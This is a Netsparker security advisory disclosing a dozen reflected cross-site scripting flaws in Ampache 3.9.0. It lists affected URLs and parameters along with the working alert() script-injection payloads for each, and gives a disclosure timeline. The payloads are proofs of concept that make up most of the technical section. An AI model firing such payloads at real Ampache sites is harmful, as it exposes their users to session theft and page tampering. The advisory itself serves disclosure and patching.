Information
--------------------
Advisory by Netsparker
Name: Multiple Reflected Cross-site Scripting in Ampache 3.9.0
Affected Software: Ampache
Affected Versions: 3.9.0
Homepage: http://ampache.org
Vulnerability: Reflected Cross-site Scripting
Severity: Medium
Status: Not Fixed
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
Netsparker Advisory Reference: NS-18-046

Technical Details
--------------------

URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/arts.php?action=find_art&object_type=live_stream&object_id='"--></style></scRipt><scRipt>alert(0x031B4B)</scRipt>&burl=http://www.example.com&artist_name=Smith&album_name=Smith&cover=3
Parameter Type: GET
Parameter Name: mbid
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x031B4B)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/artists.php?action=show_missing&mbid='+alert(0x003D85)+'
Parameter Type: GET
Parameter Name: mbid
Attack Pattern: '+alert(0x003D85)+'

URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/arts.php?action=find_art&object_type=album&object_id="><scRipt>alert(9)</scRipt>&burl=&artist_name=&album_name=&cover=
Parameter Type: GET
Parameter Name: object_id
Attack Pattern: "><scRipt>alert(9)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/arts.php?action=find_art&object_type=live_stream&object_id="><scRipt>alert(9)</scRipt>&burl=&artist_name=&album_name=&cover=
Parameter Type: GET
Parameter Name: object_id
Attack Pattern: "><scRipt>alert(9)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/random.php?action=get_advanced&type=song
Parameter Type: POST
Parameter Name: rule_1
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x013D4D)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/random.php?action=get_advanced&type=song
Parameter Type: POST
Parameter Name: rule_1_input
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x013D4D)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/random.php?action=get_advanced&type=song
Parameter Type: POST
Parameter Name: rule_1_subtype
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x013D4D)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/search.php?type=song
Parameter Type: POST
Parameter Name: rule_1_input
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x003A1E)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/search.php?type=song
Parameter Type: POST
Parameter Name: rule_1
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x003A1E)</scRipt>

URL:  http://{DOMAIN}/{PATH-OF-AMPACHE}/smartplaylist.php?action=update_playlist&playlist_id=8  
Parameter Type: POST
Parameter Name: rule_1
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x01DFF5)</scRipt>

URL:  http://{DOMAIN}/{PATH-OF-AMPACHE}/smartplaylist.php?action=update_playlist&playlist_id=8  
Parameter Type: POST
Parameter Name: rule_1_input
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x01DFF5)</scRipt>

URL:  http://{DOMAIN}/{PATH-OF-AMPACHE}/smartplaylist.php?action=update_playlist&playlist_id=8  
Parameter Type: POST
Parameter Name: rule_1_subtype
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x01DFF5)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
--------------------

12th November 2018- First Contact Attempt
9th January 2019 - Advisory Released

Credits & Authors
--------------------

These issues have been discovered by Zekvan Arslan while testing Netsparker Web Application Security Scanner.

About Netsparker
--------------------

Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine’s unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.